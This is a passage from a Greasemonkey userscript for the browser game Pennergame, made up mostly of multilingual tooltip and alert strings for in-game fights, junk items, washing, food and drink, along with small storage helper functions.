               doLogout(1, logoutPar);
               }
            return false;
    }
}

// Schreiben einer Variablen
function PG_setValue(varname, value) {
    GM_setValue(TOWNEXTENSION + varname, value);
}

// Holen einer Variablen
function PG_getValue(varname, deflt) {
    return GM_getValue(TOWNEXTENSION + varname, deflt);
}

// Holen einer Variablen mit User-Id
function PGu_getValue(varname, deflt) {
    return PG_getValue(varname + m_ownuserid, deflt);
}

// Setzen einer Variablen mit User-Id
function PGu_setValue(varname, value) {
    PG_setValue(varname + m_ownuserid, value);
}

// Name PG Warnicon zum Zählen der Angriffe
var ICON_WARNING = 'warning.gif';                        // PG-Warnicon

// Größe des Kampf- und Bandenkampficons in Pixeln
var ICON_WIDTH = '35';

// Konstanten für Wut-Zustand
var WUTSTATE_ACTIVE = 0;
var WUTSTATE_INACTIVE = 1;
var WUTSTATE_ERROR = 2;

// Konstanten für Fightstate-Zustand
var FIGHTSTATE_OK = 0;
var FIGHTSTATE_WEAK = 1;
var FIGHTSTATE_DANG = 3;
var FIGHTSTATE_ERROR = 2;

// IDs zum Zugriff auf Nahrungsmittel
var ID_BEER = 1;
var ID_BREAD = 2;
var ID_CURRY = 3;
var ID_DOENER = 4;
var ID_WODKA  = 7;
var ID_GRUSEL = 8;
var ID_SWEETS = 9;
var ID_GLUEHW = 10;
var ID_STOLLN = 11;

// URL für Anwenden des Plunders
var PLUNDERIMAGE_URL = new Array();
    PLUNDERIMAGE_URL[0] = "//static.pennergame.de/img/pv4/plunder_new/old/";
    PLUNDERIMAGE_URL[1] = "//static.pennergame.de/img/pv4/plunder_new/";
    PLUNDERIMAGE_URL[2] = "//static.pennergame.de/img/pv4/plunder/";
    PLUNDERIMAGE_URL[3] = "//static2.pennergame.de/img/pv4/plunder_new/";

// Diverse Texte - Ausgabe
var THISSCRIPTNAME = new Array;
    THISSCRIPTNAME[0] = "Infozentrale";
    THISSCRIPTNAME[1] = "info central";
    THISSCRIPTNAME[2] = "info central";
    THISSCRIPTNAME[3] = "info central";
    THISSCRIPTNAME[4] = "info central";
    THISSCRIPTNAME[5] = "info central";
    THISSCRIPTNAME[6] = "Информационный центр";
    THISSCRIPTNAME[7] = "info central";
var TOOLTIP_PLUNDERAUSWAHL = new Array();
    TOOLTIP_PLUNDERAUSWAHL[0] = 'Hier klicken, um weitere Plunderstücke für den Direktzugriff auszuwählen. Die Anzeige im Plunder-Direktzugriff erfolgt in der Reihenfolge des Hinzufügens.';
    TOOLTIP_PLUNDERAUSWAHL[1] = 'Click here to choose further junk for the direct access list. The order in the display is given by the order of adding to the list.';
    TOOLTIP_PLUNDERAUSWAHL[6] = 'Кликни здесь, чтобы добавить барахло. Последовательность выставления барахла зависит от последовательности кликов.';
var TOOLTIP_PLUNDERRESET = new Array();
    TOOLTIP_PLUNDERRESET[0] = 'Hier klicken, um die Plunder-Direktzugriffsliste zu leeren.';
    TOOLTIP_PLUNDERRESET[1] = 'Click here to clear the direct access list of the junk.';
    TOOLTIP_PLUNDERRESET[2] = 'Click here to clear the direct access list of the junk.';
    TOOLTIP_PLUNDERRESET[3] = 'Click here to clear the direct access list of the junk.';
    TOOLTIP_PLUNDERRESET[4] = 'Click here to clear the direct access list of the junk.';
    TOOLTIP_PLUNDERRESET[5] = 'Click here to clear the direct access list of the junk.';
    TOOLTIP_PLUNDERRESET[6] = 'Кликни здесь, чтобы удалить все барахло.';
    TOOLTIP_PLUNDERRESET[7] = 'Click here to clear the direct access list of the junk.';
var TOOLTIP_FIGHTOK = new Array();
    TOOLTIP_FIGHTOK[0] = 'Deine aktuelle Kampfstärke ist optimal (%d)! Anklicken --> RESET des Power-Wertes.';
    TOOLTIP_FIGHTOK[1] = 'Your fighting power is optimal (%d)! Click --> RESET the power-value.';
    TOOLTIP_FIGHTOK[6] = 'Твоя сила оптимальна (%d)! Кликни, чтобы актуализировать твою силу.';
var TOOLTIP_FIGHTWEAK = new Array();
    TOOLTIP_FIGHTWEAK[0] = 'Achtung, Du hast derzeit nicht Deine maximale Kampfstärke (%d/%d)! Anklicken --> RESET des Power-Wertes.';
    TOOLTIP_FIGHTWEAK[1] = "Attention, you don't have your maximal fighting power (%d/%d)! Click --> RESET the power-value.";
    TOOLTIP_FIGHTWEAK[6] = "Внимание, у тебя сейчас не максимальная сила (%d/%d)! Кликни, чтобы актуализировать твою силу.";
var TOOLTIP_FIGHTDANG = new Array();
    TOOLTIP_FIGHTDANG[0] = "Achtung, Du schwebst in Lebensgefahr !";
    TOOLTIP_FIGHTDANG[1] = "Your life hangs from a thread !";
    TOOLTIP_FIGHTDANG[2] = "Znajdujesz się w niebezpieczeństwie !";
    TOOLTIP_FIGHTDANG[3] = "Tu es en danger de mort !";
    TOOLTIP_FIGHTDANG[4] = "¡Tu vida está en peligro!";
    TOOLTIP_FIGHTDANG[5] = "Você está correndo risco de vida !";
    TOOLTIP_FIGHTDANG[6] = "Ты в смертельной опасности !";
    TOOLTIP_FIGHTDANG[7] = "Your life is in Danger !";
var TOOLTIP_LOADERROR = new Array();
    TOOLTIP_LOADERROR[0] = 'Seitenladefehler!';
    TOOLTIP_LOADERROR[1] = 'page loading error!';
    TOOLTIP_LOADERROR[6] = 'Ошибка при запуске страницы!';
var TOOLTIP_WIWUTAKTIV = new Array();
    TOOLTIP_WIWUTAKTIV[0] = ' ist aktiv! Ende: ';
    TOOLTIP_WIWUTAKTIV[1] = ' is active! End: ';
    TOOLTIP_WIWUTAKTIV[2] = ' jest aktywny! Zakończ: ';
    TOOLTIP_WIWUTAKTIV[3] = ' is active! End: ';
    TOOLTIP_WIWUTAKTIV[4] = ' is active! End: ';
    TOOLTIP_WIWUTAKTIV[5] = ' is active! End: ';
    TOOLTIP_WIWUTAKTIV[6] = ' активно! Окончание: ';
    TOOLTIP_WIWUTAKTIV[7] = ' is active! End: ';
var TOOLTIP_WIWUTINAKTIV = new Array();
    TOOLTIP_WIWUTINAKTIV[0] = ' derzeit NICHT aktiv!';
    TOOLTIP_WIWUTINAKTIV[1] = ' NOT active at the moment!';
    TOOLTIP_WIWUTINAKTIV[2] = ' NOT active at the moment!';
    TOOLTIP_WIWUTINAKTIV[3] = ' NOT active at the moment!';
    TOOLTIP_WIWUTINAKTIV[4] = ' NOT active at the moment!';
    TOOLTIP_WIWUTINAKTIV[5] = ' NOT active at the moment!';
    TOOLTIP_WIWUTINAKTIV[6] = ' сейчас неактивно!';
    TOOLTIP_WIWUTINAKTIV[7] = ' NOT active at the moment!';
var TOOLTIP_LOCK = new Array();
    TOOLTIP_LOCK[0] = 'Leistenbewegung wird nicht gespeichert!';
    TOOLTIP_LOCK[1] = 'Movement of panels will not be stored!';
    TOOLTIP_LOCK[2] = 'Movement of panels will not be stored!';
    TOOLTIP_LOCK[3] = 'Movement of panels will not be stored!';
    TOOLTIP_LOCK[4] = 'Movement of panels will not be stored!';
    TOOLTIP_LOCK[5] = 'Movement of panels will not be stored!';
    TOOLTIP_LOCK[6] = 'перемещение панели не сохраняется!';
    TOOLTIP_LOCK[7] = 'Movement of panels will not be stored!';

var ALERT_PLUNDERRESET = new Array();
    ALERT_PLUNDERRESET[0] = 'Die Plunder-Direktzugriffsliste wurde geleert!';
    ALERT_PLUNDERRESET[1] = 'The direct access list for junk has been cleared!';
    ALERT_PLUNDERRESET[2] = 'The direct access list for junk has been cleared!';
    ALERT_PLUNDERRESET[3] = 'The direct access list for junk has been cleared!';
    ALERT_PLUNDERRESET[4] = 'The direct access list for junk has been cleared!';
    ALERT_PLUNDERRESET[5] = 'The direct access list for junk has been cleared!';
    ALERT_PLUNDERRESET[6] = 'панель с барахлом очищена!';
    ALERT_PLUNDERRESET[7] = 'The direct access list for junk has been cleared!';
var ALERT_RESETPOWER = new Array();
    ALERT_RESETPOWER[0] = 'Der maximale Power-Wert wurde zurückgesetzt und wird jetzt neu ermittelt!';
    ALERT_RESETPOWER[1] = 'The maximal power value has been reset and will be set new now!';
    ALERT_RESETPOWER[2] = 'The maximal power value has been reset and will be set new now!';
    ALERT_RESETPOWER[3] = 'The maximal power value has been reset and will be set new now!';
    ALERT_RESETPOWER[4] = 'The maximal power value has been reset and will be set new now!';
    ALERT_RESETPOWER[5] = 'The maximal power value has been reset and will be set new now!';
    ALERT_RESETPOWER[6] = 'Максимальная сила сброшена и будет установлена заново!';
    ALERT_RESETPOWER[7] = 'The maximal power value has been reset and will be set new now!';

var TxtNewVersion = new Array();
    TxtNewVersion[0] = "Es gibt eine neue Version des Skriptes '%s':\n\n%s\n\nDie neue Version kann Fehlerbehebungen und/oder neue Funktionen beinhalten.\nHier gibt es weitere Infos über die neue Version:\n\n%s\n\nEine Aktualisierung ist empfehlenswert und kann direkt anschließend durchgeführt werden.\n\nHinweis: Die Überprüfung auf neue Versionen wird nur einmal pro Tag durchgeführt."
    TxtNewVersion[1] = "There is a new version of the script '%s':\n\n%s\n\nThe new version can contain bugfixes and/or new features.\nHere you will find more information about the new version:\n\n%s\n\nAn update is recommended and can be done directly afterwards.\n\nNote: The check for new versions is only done once a day."
    TxtNewVersion[2] = "There is a new version of the script '%s':\n\n%s\n\nThe new version can contain bugfixes and/or new features.\nHere you will find more information about the new version:\n\n%s\n\nAn update is recommended and can be done directly afterwards.\n\nNote: The check for new versions is only done once a day."
    TxtNewVersion[3] = "There is a new version of the script '%s':\n\n%s\n\nThe new version can contain bugfixes and/or new features.\nHere you will find more information about the new version:\n\n%s\n\nAn update is recommended and can be done directly afterwards.\n\nNote: The check for new versions is only done once a day."
    TxtNewVersion[4] = "There is a new version of the script '%s':\n\n%s\n\nThe new version can contain bugfixes and/or new features.\nHere you will find more information about the new version:\n\n%s\n\nAn update is recommended and can be done directly afterwards.\n\nNote: The check for new versions is only done once a day."
    TxtNewVersion[5] = "There is a new version of the script '%s':\n\n%s\n\nThe new version can contain bugfixes and/or new features.\nHere you will find more information about the new version:\n\n%s\n\nAn update is recommended and can be done directly afterwards.\n\nNote: The check for new versions is only done once a day."
    TxtNewVersion[6] = "Есть новая версия скрипта ‘%s’:\n\n%s\n\nВ новой версии могут быть улучшения или новые функции.\nЗдесь есть информации о скрипте:\n\n%s\n\nСоветуем инсталлировать.\n\nОпрос о новой версии только раз в день."
var TxtPlunderCheck = new Array();
    TxtPlunderCheck[0] = 'Durch Anlegen des Plunders "%s" wäre Deine Kampfkraft am größten';
    TxtPlunderCheck[1] = 'If you equip with the junk "%s" your fighting power will be highest';
    TxtPlunderCheck[2] = 'If you equip with the junk "%s" your fighting power will be highest';
    TxtPlunderCheck[3] = 'If you equip with the junk "%s" your fighting power will be highest';
    TxtPlunderCheck[4] = 'If you equip with the junk "%s" your fighting power will be highest';
    TxtPlunderCheck[5] = 'If you equip with the junk "%s" your fighting power will be highest';
    TxtPlunderCheck[6] = 'Если сохранишь “%s” барахло, сила будет максимальной';
    TxtPlunderCheck[7] = 'If you equip with the junk "%s" your fighting power will be highest';
var TxtWCheck1 = new Array();
    TxtWCheck1[0] = 'Wenn Du die Waffe "%s" kaufst und '+(oldVersion?'anlegst':'benutzt')+', verbessert sich Dein ATT-Wert um %d';
    TxtWCheck1[1] = 'If you buy and use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck1[2] = 'If you buy and use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck1[3] = 'If you buy and use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck1[4] = 'If you buy and use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck1[5] = 'If you buy and use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck1[6] = 'Если купишь и применишь “%s” оружие, твой АТТ увеличится на %d';
    TxtWCheck1[7] = 'If you buy and use the weapon "%s" your ATT-value will increase by %d';
var TxtWCheck2 = new Array();
    TxtWCheck2[0] = 'Wenn Du die Waffe "%s" '+(oldVersion?'anlegst':'benutzt')+', verbessert sich Dein ATT-Wert um %d';
    TxtWCheck2[1] = 'If you use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck2[2] = 'If you use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck2[3] = 'If you use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck2[4] = 'If you use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck2[5] = 'If you use the weapon "%s" your ATT-value will increase by %d';
    TxtWCheck2[6] = 'Если применишь “%s” оружие, твой АТТ увеличится на %d';
    TxtWCheck2[7] = 'If you use the weapon "%s" your ATT-value will increase by %d';
var TxtHomeCheck = new Array();
    TxtHomeCheck[0] = 'Wenn Du %sdas Eigenheim "%s" %s, verbessert sich Dein DEF-Wert um %d';
    TxtHomeCheck[1] = 'If you %s the home "%s" %syour DEF-Value will increase by %d';
    TxtHomeCheck[2] = 'If you %s the home "%s" %syour DEF-Value will increase by %d';
    TxtHomeCheck[3] = 'If you %s the home "%s" %syour DEF-Value will increase by %d';
    TxtHomeCheck[4] = 'If you %s the home "%s" %syour DEF-Value will increase by %d';
    TxtHomeCheck[5] = 'If you %s the home "%s" %syour DEF-Value will increase by %d';
    TxtHomeCheck[6] = 'Если ты %s частный дом “%s”%s, твой DEF увеличится на %d';
    TxtHomeCheck[7] = 'If you %s the home "%s" %syour DEF-Value will increase by %d';
var TxtHomeMovein1 = new Array();
    TxtHomeMovein1[0] = "";
    TxtHomeMovein1[1] = "go to";
    TxtHomeMovein1[2] = "go to";
    TxtHomeMovein1[3] = "go to";
    TxtHomeMovein1[4] = "go to";
    TxtHomeMovein1[5] = "go to";
    TxtHomeMovein1[6] = "вселишься в";
    TxtHomeMovein1[7] = "go to";
var TxtHomeMovein2 = new Array();
    TxtHomeMovein2[0] = "beziehst";
    TxtHomeMovein2[1] = "";
    TxtHomeMovein2[2] = "";
    TxtHomeMovein2[3] = "";
    TxtHomeMovein2[4] = "";
    TxtHomeMovein2[5] = "";
    TxtHomeMovein2[6] = "";
    TxtHomeMovein2[7] = "";
var TxtHomeBuy1 = new Array();
    TxtHomeBuy1[0] = "";
    TxtHomeBuy1[1] = "buy";
    TxtHomeBuy1[2] = "buy";
    TxtHomeBuy1[3] = "buy";
    TxtHomeBuy1[4] = "buy";
    TxtHomeBuy1[5] = "buy";
    TxtHomeBuy1[6] = "купишь";
    TxtHomeBuy1[7] = "buy";
var TxtHomeBuy2 = new Array();
    TxtHomeBuy2[0] = "kaufst";
    TxtHomeBuy2[1] = "";
    TxtHomeBuy2[2] = "";
    TxtHomeBuy2[3] = "";
    TxtHomeBuy2[4] = "";
    TxtHomeBuy2[5] = "";
    TxtHomeBuy2[6] = "";
    TxtHomeBuy2[7] = "";
var TxtBuy = new Array();
    TxtBuy[0] = 'Kaufen';
    TxtBuy[1] = 'Buy';
    TxtBuy[2] = 'Kup';
    TxtBuy[3] = 'Acheter';
    TxtBuy[4] = 'Comprar';
    TxtBuy[5] = 'Comprar';
    TxtBuy[6] = 'Купить';
    TxtBuy[7] = 'Buy';
var TxtBuyAll = new Array();
    TxtBuyAll[0] = 'Alles kaufen';
    TxtBuyAll[1] = 'Buy all';
    TxtBuyAll[2] = 'Kup wszystko';
    TxtBuyAll[3] = 'Acheter tous';
    TxtBuyAll[4] = 'Comprar todo';
    TxtBuyAll[5] = 'Comprar tudo';
    TxtBuyAll[6] = 'Купить';
    TxtBuyAll[7] = 'Buy all';
var TxtWaitSort = new Array();
    TxtWaitSort[0] = 'warte %s - neue Ramschlieferung ist bereits unterwegs (%s)';
    TxtWaitSort[1] = 'wait %s - new sortiment is on its way (%s)';
    TxtWaitSort[2] = 'wait %s - new sortiment is on its way (%s)';
    TxtWaitSort[3] = 'attend %s - la nouvelle livraison arrive bientôt';
    TxtWaitSort[4] = 'espera %s - el nuevo pedido de cachivaches está en camino';
    TxtWaitSort[5] = 'wait %s - new sortiment is on its way (%s)';
    TxtWaitSort[6] = 'wait %s - new sortiment is on its way (%s)';
    TxtWaitSort[7] = 'wait %s - new sortiment is on its way (%s)';
var TxtStreun = new Array();
    TxtStreun[0] = 'Dein Haustier streunt noch %s - Endezeit: %s';
var TxtWash = new Array();
    TxtWash[0] = 'Vollständig waschen';
    TxtWash[1] = 'Wash completely';
    TxtWash[2] = 'Wash completely';
    TxtWash[3] = 'Wash completely';
    TxtWash[4] = 'Lavarse completo';
    TxtWash[5] = 'Wash completely';
    TxtWash[6] = 'полностью помыться';
    TxtWash[7] = 'Wash completely';
var TxtPromUp = new Array();
    TxtPromUp[0] = 'Promille rauf';
    TxtPromUp[1] = 'Alcohol level up';
    TxtPromUp[2] = 'Alcohol level up';
    TxtPromUp[3] = 'Alcohol level up';
    TxtPromUp[4] = 'Alcohol level up';
    TxtPromUp[5] = 'Alcohol level up';
    TxtPromUp[6] = 'увеличить промилле';
    TxtPromUp[7] = 'Alcohol level up';
var TxtPromDown = new Array();
    TxtPromDown[0] = 'Promille runter';
    TxtPromDown[1] = 'Alcohol level down';
    TxtPromDown[2] = 'Alcohol level down';
    TxtPromDown[3] = 'Alcohol level down';
    TxtPromDown[4] = 'Alcohol level down';
    TxtPromDown[5] = 'Alcohol level down';
    TxtPromDown[6] = 'уменьшить промилле';
    TxtPromDown[7] = 'Alcohol level down';
var TxtIncomingFights1 = new Array();
    TxtIncomingFights1[0] = ' 1 eingehender Angriff!';
    TxtIncomingFights1[1] = ' 1 incoming fight!';
    TxtIncomingFights1[2] = ' 1 rozpoczęte walk';
    TxtIncomingFights1[3] = ' 1 baston inattendue!';
    TxtIncomingFights1[4] = ' 1 lucha entrante!';
    TxtIncomingFights1[5] = ' 1 incoming fight!';
    TxtIncomingFights1[6] = ' 1 входящий бой';
    TxtIncomingFights1[7] = ' 1 incoming fight!';
var TxtIncomingFights2 = new Array();
    TxtIncomingFights2[0] = ' %d eingehende Angriffe!';
    TxtIncomingFights2[1] = ' %d incoming fights!';
    TxtIncomingFights2[2] = ' %d rozpoczęte walki';
    TxtIncomingFights2[3] = ' %d bastons inattendues!';
    TxtIncomingFights2[4] = ' %d luchas entrantes!';
    TxtIncomingFights2[5] = ' %d incoming fights!';
    TxtIncomingFights2[6] = ' %d Поступающие разборки';
    TxtIncomingFights2[7] = ' %d incoming fights!';
var TxtGangFight1 = new Array();
    TxtGangFight1[0] = 'Aktuell läuft ein Bandenkampf!%s';
    TxtGangFight1[1] = 'At the moment one gang fight is running!%s';
    TxtGangFight1[2] = 'At the moment one gang fight is running!%s';     // Aendern
    TxtGangFight1[3] = 'At the moment one gang fight is running!%s';
    TxtGangFight1[4] = 'At the moment one gang fight is running!%s';
    TxtGangFight1[5] = 'At the moment one gang fight is running!%s';
    TxtGangFight1[6] = 'Сейчас идет бой между бандами!%s';
    TxtGangFight1[7] = 'At the moment one gang fight is running!%s';
var TxtGangFight2 = new Array();
    TxtGangFight2[0] = 'Aktuell laufen %d Bandenkämpfe!%s';
    TxtGangFight2[1] = 'At the moment %d gang fights are running!%s';
    TxtGangFight2[2] = 'At the moment %d gang fights are running!%s';    // Aendern
    TxtGangFight2[3] = 'At the moment %d gang fights are running!%s';
    TxtGangFight2[4] = 'At the moment %d gang fights are running!%s';
    TxtGangFight2[5] = 'At the moment %d gang fights are running!%s';
    TxtGangFight2[6] = 'Число актуальных боев между бандами: %d! %s';
    TxtGangFight2[7] = 'At the moment %d gang fights are running!%s';
var TxtAusweichen = new Array();
    TxtAusweichen[0] = 'Ausweichen%s möglich';
    TxtAusweichen[1] = 'Evading%s possible';
    TxtAusweichen[2] = 'Unikaj%s możliwy';
    TxtAusweichen[3] = 'Esquiver%s possible';
    TxtAusweichen[4] = 'Evitar%s posible';
    TxtAusweichen[5] = 'Evading%s possible';
    TxtAusweichen[6] = 'избежать боя %s возможно';
    TxtAusweichen[7] = 'Evading%s possible';
var TxtAusweichN = new Array();
    TxtAusweichN[0] = ' nicht';
    TxtAusweichN[1] = ' not';
    TxtAusweichN[2] = ' nie';
    TxtAusweichN[3] = ' non';
    TxtAusweichN[4] = ' no es';
    TxtAusweichN[5] = ' not';
    TxtAusweichN[6] = ' не';
    TxtAusweichN[7] = ' not';
var TxtAusweichV = new Array();
    TxtAusweichV[0] = ' evtl.';
    TxtAusweichV[1] = ' maybe';
    TxtAusweichV[2] = ' może';
    TxtAusweichV[3] = ' peut-être';
    TxtAusweichV[4] = ' probablemente';
    TxtAusweichV[5] = ' maybe';
    TxtAusweichV[6] = ' может быть';
    TxtAusweichV[7] = ' maybe';
var TxtNotMoreThan9 = new Array();
    TxtNotMoreThan9[0] = 'Es können nicht mehr als 9 Plunderstücke für die Direktzugriffsliste ausgewählt werden!';
    TxtNotMoreThan9[1] = 'You cannot select more than 9 pieces of junk for the direct access list!';
    TxtNotMoreThan9[2] = 'You cannot select more than 9 pieces of junk for the direct access list!';
    TxtNotMoreThan9[3] = 'You cannot select more than 9 pieces of junk for the direct access list!';
    TxtNotMoreThan9[4] = 'You cannot select more than 9 pieces of junk for the direct access list!';
    TxtNotMoreThan9[5] = 'You cannot select more than 9 pieces of junk for the direct access list!';
    TxtNotMoreThan9[6] = 'К панели можно прикрепить не больше 9 штук барахла!';
    TxtNotMoreThan9[7] = 'You cannot select more than 9 pieces of junk for the direct access list!';
var TxtMoneyNeeded = new Array();
    TxtMoneyNeeded[0] = 'Zum Waschen werden %m benötigt, Du hast im Moment nur %m.';
    TxtMoneyNeeded[1] = 'You need %m to wash completely, but you only have %m at the moment.';
    TxtMoneyNeeded[2] = 'You need %m to wash completely, but you only have %m at the moment.';
    TxtMoneyNeeded[3] = 'You need %m to wash completely, but you only have %m at the moment.';
    TxtMoneyNeeded[4] = 'You need %m to wash completely, but you only have %m at the moment.';
    TxtMoneyNeeded[5] = 'You need %m to wash completely, but you only have %m at the moment.';
    TxtMoneyNeeded[6] = 'Для мытья нужно %m, а у тебя только %m.';
    TxtMoneyNeeded[7] = 'You need %m to wash completely, but you only have %m at the moment.';
var TxtCleansed1 = new Array();
    TxtCleansed1[0] = 'Du bist nun porentief rein!';
    TxtCleansed1[1] = 'You are cleansed down to the pores now!';
    TxtCleansed1[2] = 'You are cleansed down to the pores now!';
    TxtCleansed1[3] = 'You are cleansed down to the pores now!';
    TxtCleansed1[4] = 'You are cleansed down to the pores now!';
    TxtCleansed1[5] = 'You are cleansed down to the pores now!';
    TxtCleansed1[6] = 'Ты чист!';
    TxtCleansed1[7] = 'You are cleansed down to the pores now!';
var TxtCleansed2 = new Array();
    TxtCleansed2[0] = 'Du bist bereits porentief rein, sauberer geht nicht... :D';
    TxtCleansed2[1] = 'You are already cleansed down to the pores, more is not possible... :D';
    TxtCleansed2[2] = 'You are already cleansed down to the pores, more is not possible... :D';
    TxtCleansed2[3] = 'You are already cleansed down to the pores, more is not possible... :D';
    TxtCleansed2[4] = 'You are already cleansed down to the pores, more is not possible... :D';
    TxtCleansed2[5] = 'You are already cleansed down to the pores, more is not possible... :D';
    TxtCleansed2[6] = 'Ты чист, чище не бывает… :D';
    TxtCleansed2[7] = 'You are already cleansed down to the pores, more is not possible... :D';
var TxtLife = new Array();
    TxtLife[0] = 'Lebenspunkte auffüllen';
var TxtLifeNeeded = new Array();
    TxtLifeNeeded[0] = 'Dafür werden %m benötigt, Du hast im Moment nur %m.';
var TxtLifepts1 = new Array();
    TxtLifepts1[0] = 'Aaah ! Du fühlst Dich topfit !';
var TxtLifepts2 = new Array();
    TxtLifepts2[0] = 'Deine Lebenspunkte sind bereits komplett !';
var TxtLifepts3 = new Array();
    TxtLifepts3[0] = 'Lebenspunkte können nicht %saufgefüllt werden. Bitte warten!';
var TxtHiccup = new Array();
    TxtHiccup[0] = '*Hicks* Jetzt hab ich endlich wieder meinen Standard-Pegel! :D';
    TxtHiccup[1] = '*Hiccup* Finally I have my standard blood alcohol level again! :D';
    TxtHiccup[2] = '*Hiccup* Finally I have my standard blood alcohol level again! :D';
    TxtHiccup[3] = '*Hiccup* Finally I have my standard blood alcohol level again! :D';
    TxtHiccup[4] = '*Hiccup* Finally I have my standard blood alcohol level again! :D';
    TxtHiccup[5] = '*Hiccup* Finally I have my standard blood alcohol level again! :D';
    TxtHiccup[6] = 'Фу-у, наконец-то я трезвый!';
    TxtHiccup[7] = '*Hiccup* Finally I have my standard blood alcohol level again! :D';
var TxtDrinkError = new Array();
    TxtDrinkError[0] = 'Beim Trinken gab es einen Fehler, Du hast immer noch nur %s Promille!';
    TxtDrinkError[1] = 'There was an error with the drinking, you still have only %s per mills';
    TxtDrinkError[2] = 'There was an error with the drinking, you still have only %s per mills';
    TxtDrinkError[3] = 'There was an error with the drinking, you still have only %s per mills';
    TxtDrinkError[4] = 'There was an error with the drinking, you still have only %s per mills';
    TxtDrinkError[5] = 'There was an error with the drinking, you still have only %s per mills';
    TxtDrinkError[6] = 'При питье допущена ошибка, у тебя все еще %s промилле!';
    TxtDrinkError[7] = 'There was an error with the drinking, you still have only %s per mills';
var TxtNotMuchToDrink = new Array();
    TxtNotMuchToDrink[0] = 'Die Vorräte an %s gehen zur Neige.\nBitte zuerst nachkaufen!';
    TxtNotMuchToDrink[1] = 'Your supply of %s is running low.\nPlease buy some first!';
    TxtNotMuchToDrink[2] = 'Your supply of %s is running low.\nPlease buy some first!';
    TxtNotMuchToDrink[3] = 'Your supply of %s is running low.\nPlease buy some first!';
    TxtNotMuchToDrink[4] = 'Your supply of %s is running low.\nPlease buy some first!';
    TxtNotMuchToDrink[5] = 'Your supply of %s is running low.\nPlease buy some first!';
    TxtNotMuchToDrink[6] = 'Запасы %s заканчиваются. \nпожалуйста, докупите!';
    TxtNotMuchToDrink[7] = 'Your supply of %s is running low.\nPlease buy some first!';
var TxtNoNeedToDrink = new Array();
    TxtNoNeedToDrink[0] = 'Du hast bereits mindestens 2,5 Promille,\nDu musst nicht noch mehr trinken!';
    TxtNoNeedToDrink[1] = "You already have a blood alcohol level of 2.5 per mills or more\nyou don't need to drink more!";
    TxtNoNeedToDrink[2] = "You already have a blood alcohol level of 2.5 per mills or more\nyou don't need to drink more!";
    TxtNoNeedToDrink[3] = "You already have a blood alcohol level of 2.5 per mills or more\nyou don't need to drink more!";
    TxtNoNeedToDrink[4] = "You already have a blood alcohol level of 2.5 per mills or more\nyou don't need to drink more!";
    TxtNoNeedToDrink[5] = "You already have a blood alcohol level of 2.5 per mills or more\nyou don't need to drink more!";
    TxtNoNeedToDrink[6] = "У тебя уже минимум 2,5 промилле, \nты не должен больше пить!";
    TxtNoNeedToDrink[7] = "You already have a blood alcohol level of 2.5 per mills or more\nyou don't need to drink more!";
var TxtDrinkLifeRisk = new Array();
    TxtDrinkLifeRisk[0] = 'Du hast bereits mindestens 3,65 Promille,\nWeiteres Trinken bringt Dich in Lebensgefahr!';
    TxtDrinkLifeRisk[1] = "You already have a blood alcohol level of 3.65 per mills or more\nFurther drinking will risk your life!";
    TxtDrinkLifeRisk[2] = "You already have a blood alcohol level of 3.65 per mills or more\nFurther drinking will risk your life!";
    TxtDrinkLifeRisk[3] = "You already have a blood alcohol level of 3.65 per mills or more\nFurther drinking will risk your life!";
    TxtDrinkLifeRisk[4] = "You already have a blood alcohol level of 3.65 per mills or more\nFurther drinking will risk your life!";
    TxtDrinkLifeRisk[5] = "You already have a blood alcohol level of 3.65 per mills or more\nFurther drinking will risk your life!";
    TxtDrinkLifeRisk[6] = "У тебя уже минимум 3,65 промилле, \nты не должен больше пить!";
    TxtDrinkLifeRisk[7] = "You already have a blood alcohol level of 3.65 per mills or more\nFurther drinking will risk your life!";
var TxtYummy = new Array();
    TxtYummy[0] = 'Mjamm, das war lecker!';
    TxtYummy[1] = 'Yummy, that was delicious!';
    TxtYummy[2] = 'Yummy, that was delicious!';
    TxtYummy[3] = 'Yummy, that was delicious!';
    TxtYummy[4] = 'Yummy, that was delicious!';
    TxtYummy[5] = 'Yummy, that was delicious!';
    TxtYummy[6] = 'М-м, это было вкусно!';
    TxtYummy[7] = 'Yummy, that was delicious!';
var TxtEatError = new Array();
    TxtEatError[0] = 'Beim Essen gab es einen Fehler, Du hast immer noch %s Promille!';
    TxtEatError[1] = 'There was an error with the eating, you still have %s per mills';
    TxtEatError[2] = 'There was an error with the eating, you still have %s per mills';
    TxtEatError[3] = 'There was an error with the eating, you still have %s per mills';
    TxtEatError[4] = 'There was an error with the eating, you still have %s per mills';
    TxtEatError[5] = 'There was an error with the eating, you still have %s per mills';
    TxtEatError[6] = 'С едой вышла ошибка, у тебя все еще %s промилле!';
    TxtEatError[7] = 'There was an error with the eating, you still have %s per mills';
var TxtNotMuchToEat = new Array();
    TxtNotMuchToEat[0] = 'Die Vorräte an %s und/oder %s\ngehen zur Neige. Bitte zuerst nachkaufen!';
    TxtNotMuchToEat[1] = 'Your supply of %s and/or %s is running low.\nPlease buy some of them first!';
    TxtNotMuchToEat[2] = 'Your supply of %s and/or %s is running low.\nPlease buy some of them first!';
    TxtNotMuchToEat[3] = 'Your supply of %s and/or %s is running low.\nPlease buy some of them first!';
    TxtNotMuchToEat[4] = 'Your supply of %s and/or %s is running low.\nPlease buy some of them first!';
    TxtNotMuchToEat[5] = 'Your supply of %s and/or %s is running low.\nPlease buy some of them first!';
    TxtNotMuchToEat[6] = 'Запасы %s и/или %s\nзаканчиваются. Сначала докупите!';
    TxtNotMuchToEat[7] = 'Your supply of %s and/or %s is running low.\nPlease buy some of them first!';
var TxtNoNeedToEat = new Array();
    TxtNoNeedToEat[0] = '0,75 Promille oder weniger beeinträchtigen die Kampfwerte nicht,\nDu musst nichts mehr essen!';
    TxtNoNeedToEat[1] = "0.75 per mills or less do not reduce the figthing values,\nyou don't need to eat more!";
    TxtNoNeedToEat[2] = "0.75 per mills or less do not reduce the figthing values,\nyou don't need to eat more!";
    TxtNoNeedToEat[3] = "0.75 per mills or less do not reduce the figthing values,\nyou don't need to eat more!";
    TxtNoNeedToEat[4] = "0.75 per mills or less do not reduce the figthing values,\nyou don't need to eat more!";
